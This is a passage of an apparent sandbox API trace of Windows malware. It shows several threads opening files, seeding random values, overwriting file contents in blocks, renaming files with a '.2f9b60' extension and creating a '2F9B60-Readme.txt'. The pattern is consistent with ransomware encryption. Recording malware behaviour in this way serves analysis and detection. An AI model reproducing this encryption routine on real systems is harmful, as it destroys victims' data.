_Dest="00") returned 2 [0235.692] sprintf (in: _Dest=0x1cd9f054, _Format="%c%c" | out: _Dest="68") returned 2 [0235.692] sprintf (in: _Dest=0x1cd9f056, _Format="%c%c" | out: _Dest="7e") returned 2 [0235.692] RtlInitAnsiString (in: DestinationString=0x31b1fe68, SourceString="70a073acc096f1b81525cb2b7a0bbc05f000687e" | out: DestinationString="70a073acc096f1b81525cb2b7a0bbc05f000687e") [0235.692] RtlAnsiStringToUnicodeString (in: DestinationString=0x31b1fe38, SourceString="70a073acc096f1b81525cb2b7a0bbc05f000687e", AllocateDestinationString=1 | out: DestinationString="70a073acc096f1b81525cb2b7a0bbc05f000687e") returned 0x0 [0235.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858fd0 [0235.693] wcscat (in: _Dest=0x4205f500, _Source="70a073acc0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\70a073acc0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\70a073acc0" [0235.693] wcscat (in: _Dest=0x4205f500, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\70a073acc0.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\70a073acc0.2f9b60" [0235.693] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\70a073acc0.2f9b60", NtPathName=0x31b1fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\70a073acc0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x43116400 [0236.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43116400) returned 1 [0236.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43079180) returned 1 [0236.898] NtQueryInformationFile (in: FileHandle=0x1910, IoStatusBlock=0x31b1fe78, FileInformation=0x31b1fe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x31b1fe78, FileInformation=0x31b1fe88) returned 0x0 [0236.898] NtSetInformationFile (FileHandle=0x1910, IoStatusBlock=0x31b1fe78, FileInformation=0x31b1fe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205f500) returned 1 [0237.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858fd0) returned 1 [0237.018] FlushFileBuffers (hFile=0x1910) returned 1 [0238.195] CloseHandle (hObject=0x1910) returned 1 [0241.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x4310df80 [0241.235] wcscpy (in: _Dest=0x4310df80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\" [0241.235] wcscat (in: _Dest=0x4310df80, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\2F9B60-Readme.txt" [0241.235] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\uf ct10atni64\\2f9b60-readme.txt")) returned 0xffffffff [0241.235] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\uf ct10atni64\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 3862 os_tid = 0x1ee4 [0229.862] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.lck")) returned 0x2026 [0229.862] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck", dwFileAttributes=0x20) returned 1 [0236.377] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.lck"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1644 [0236.378] GetFileSizeEx (in: hFile=0x1644, lpFileSize=0x308ffe40 | out: lpFileSize=0x308ffe40*=4) returned 1 [0236.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3760 [0236.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3310 [0236.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f34f0 [0236.379] NtQuerySystemTime (in: CurrentTime=0x308ffd00 | out: CurrentTime=0x308ffd00*=132462178401850000) returned 0x0 [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x257f0f7c [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x6ff98957 [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x61b21866 [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0xce416ec [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x675fe402 [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x9c9956f [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x597a58bb [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0xfc823d1 [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0xf3e1578 [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0xca6a7fa [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x69ca36e2 [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x3558de62 [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x605cee99 [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x8b01e45 [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x5dd0018a [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x105cc22b [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0xbd8bb9b [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x16e1fd36 [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x53d58560 [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x7f5cfd66 [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x48d79867 [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x4ffe1d0c [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0xe14c3de [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x1d10cbd5 [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x27b93620 [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x28a3a26 [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x3ae4195d [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x7cc73a9f [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x50ad06cc [0236.379] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x67050efc [0236.380] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x1a3cd250 [0236.380] RtlRandomEx (in: Seed=0x308ffcf0 | out: Seed=0x308ffcf0) returned 0x15f4692a [0236.388] ReadFile (in: hFile=0x1644, lpBuffer=0x41f500b0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x308ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x41f500b0*, lpNumberOfBytesRead=0x308ffcf0*=0x4, lpOverlapped=0x0) returned 1 [0236.389] SetFilePointerEx (in: hFile=0x1644, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.389] WriteFile (in: hFile=0x1644, lpBuffer=0x41f80d80*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x308ffcf4, lpOverlapped=0x0 | out: lpBuffer=0x41f80d80*, lpNumberOfBytesWritten=0x308ffcf4*=0x4, lpOverlapped=0x0) returned 1 [0241.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d8d0 [0241.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e5c0 [0241.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e5c0) returned 1 [0241.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f80d80) returned 1 [0241.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f500b0) returned 1 [0241.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0241.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420594c0) returned 1 [0241.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x43118860 [0241.006] SetFilePointerEx (in: hFile=0x1644, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0241.006] WriteFile (hFile=0x1644, lpBuffer=0x42c15950, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x308ffe10, lpOverlapped=0x0) Thread: id = 3863 os_tid = 0x1ec4 [0229.864] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help{9daa54e8-cd95-4107-8e7f-ba3f24732d95}.h1q")) returned 0x2026 [0229.864] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", dwFileAttributes=0x20) returned 1 [0236.389] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help{9daa54e8-cd95-4107-8e7f-ba3f24732d95}.h1q"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1614 [0236.390] GetFileSizeEx (in: hFile=0x1614, lpFileSize=0x2fbff6e0 | out: lpFileSize=0x2fbff6e0*=873232) returned 1 [0236.390] SetFilePointerEx (in: hFile=0x1614, liDistanceToMove=0xd530c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.390] ReadFile (in: hFile=0x1614, lpBuffer=0x2fbff660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fbff6a8, lpOverlapped=0x0 | out: lpBuffer=0x2fbff660*, lpNumberOfBytesRead=0x2fbff6a8*=0x4, lpOverlapped=0x0) returned 1 [0237.540] SetFilePointerEx (in: hFile=0x1614, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3f80 [0237.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0c80 [0237.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0ce0 [0237.541] NtQuerySystemTime (in: CurrentTime=0x2fbff5a0 | out: CurrentTime=0x2fbff5a0*=132462178413550000) returned 0x0 [0237.541] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x18a0b37a [0237.541] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x4d900c13 [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x1d07e73c [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x74786753 [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x3e00ac35 [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x44b3612c [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x44644e12 [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x49984562 [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x22e1856e [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x51033ddf [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0xc249e03 [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x3d9cc7f6 [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x49e5e7d6 [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x39fa7ab5 [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x20745796 [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x3565c291 [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x328845d6 [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x74d0cdb [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x1d5ac258 [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x46733d15 [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0xef2d371 [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x49f254d6 [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x6762ffb2 [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x52bf315a [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x1afc9ef8 [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x563b2a46 [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x74d09acc [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x56c316cb [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x5f4cb19a [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x6c635f01 [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x72ed21cf [0237.542] RtlRandomEx (in: Seed=0x2fbff590 | out: Seed=0x2fbff590) returned 0x615b116c [0237.551] SetFilePointerEx (in: hFile=0x1614, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.551] ReadFile (in: hFile=0x1614, lpBuffer=0x42957240, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2fbff600, lpOverlapped=0x0 | out: lpBuffer=0x42957240*, lpNumberOfBytesRead=0x2fbff600*=0x3c00, lpOverlapped=0x0) returned 1 [0237.737] SetFilePointerEx (in: hFile=0x1614, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0237.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b3b0 [0237.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a130 [0237.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1a130) returned 1 [0237.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f75950 [0237.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a130 [0237.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b5d0 [0237.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b5d0) returned 1 [0237.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b3b0) returned 1 [0237.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0237.740] WriteFile (in: hFile=0x1614, lpBuffer=0x41f75950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2fbff600, lpOverlapped=0x0 | out: lpBuffer=0x41f75950*, lpNumberOfBytesWritten=0x2fbff600*=0x3c00, lpOverlapped=0x0) returned 1 [0241.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f75950) returned 1 [0241.121] SetFilePointerEx (in: hFile=0x1614, liDistanceToMove=0x6cc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.121] ReadFile (in: hFile=0x1614, lpBuffer=0x42957240, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2fbff600, lpOverlapped=0x0 | out: lpBuffer=0x42957240*, lpNumberOfBytesRead=0x2fbff600*=0x3c00, lpOverlapped=0x0) returned 1 [0241.126] SetFilePointerEx (in: hFile=0x1614, liDistanceToMove=0x6cc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0241.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ec0 [0241.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b60 [0241.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6b60) returned 1 [0241.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20495b00 [0241.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b60 [0241.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a73a0 [0241.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a73a0) returned 1 [0241.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0241.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0241.130] WriteFile (hFile=0x1614, lpBuffer=0x20495b00, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2fbff600, lpOverlapped=0x0) Thread: id = 3864 os_tid = 0xe8c [0229.865] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdmadapter.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific\\win_x64\\widevinecdmadapter.dll.sig")) returned 0x20 [0229.866] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdmadapter.dll.sig", dwFileAttributes=0x20) returned 1 [0229.867] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdmadapter.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific\\win_x64\\widevinecdmadapter.dll.sig"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2848 [0229.867] GetFileSizeEx (in: hFile=0x2848, lpFileSize=0x2555fb60 | out: lpFileSize=0x2555fb60*=1407) returned 1 [0229.868] SetFilePointerEx (in: hFile=0x2848, liDistanceToMove=0x57b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.868] ReadFile (in: hFile=0x2848, lpBuffer=0x2555fae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2555fb28, lpOverlapped=0x0 | out: lpBuffer=0x2555fae0*, lpNumberOfBytesRead=0x2555fb28*=0x4, lpOverlapped=0x0) returned 1 [0230.762] SetFilePointerEx (in: hFile=0x2848, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263290 [0230.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262d80 [0230.763] NtQuerySystemTime (in: CurrentTime=0x2555fa20 | out: CurrentTime=0x2555fa20*=132462178347562000) returned 0x0 [0230.763] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x4c7f5800 [0230.763] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x198b569b [0230.763] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x5424eb9c [0230.763] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x765034e [0230.763] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x3366accb [0230.763] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x570dba1b [0230.763] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x11efc1bc [0230.763] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x2150fa7c [0230.763] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x63acae3c [0230.763] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x6e17b790 [0230.763] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x1d1a915f [0230.763] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x4e9f1620 [0230.763] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x7c63825f [0230.763] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0xf84f67c [0230.763] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x2d3a8638 [0230.763] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x2b2a305a [0230.763] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x83ef832 [0230.763] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x2d5f8f04 [0230.763] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x55787f3 [0230.763] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x4003bca6 [0230.763] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x5ab8b3bf [0230.763] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x24cba47b [0230.763] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x55a00081 [0230.764] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0xd09c95a [0230.764] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x4f16a52d [0230.764] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x73b1dbf3 [0230.764] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x35322cf [0230.764] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x335593e [0230.764] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x3535524 [0230.764] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x4ef3e4e [0230.764] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x1c19fcda [0230.764] RtlRandomEx (in: Seed=0x2555fa10 | out: Seed=0x2555fa10) returned 0x1ad4c34b [0230.791] ReadFile (in: hFile=0x2848, lpBuffer=0x42f74090, nNumberOfBytesToRead=0x57f, lpNumberOfBytesRead=0x2555fa10, lpOverlapped=0x0 | out: lpBuffer=0x42f74090*, lpNumberOfBytesRead=0x2555fa10*=0x57f, lpOverlapped=0x0) returned 1 [0230.791] SetFilePointerEx (in: hFile=0x2848, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.791] WriteFile (in: hFile=0x2848, lpBuffer=0x424979b0*, nNumberOfBytesToWrite=0x57f, lpNumberOfBytesWritten=0x2555fa14, lpOverlapped=0x0 | out: lpBuffer=0x424979b0*, lpNumberOfBytesWritten=0x2555fa14*=0x57f, lpOverlapped=0x0) returned 1 [0233.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202600b0 [0233.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263fb0 [0233.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263fb0) returned 1 [0233.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424979b0) returned 1 [0233.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42f74090) returned 1 [0233.864] RtlFreeHeap 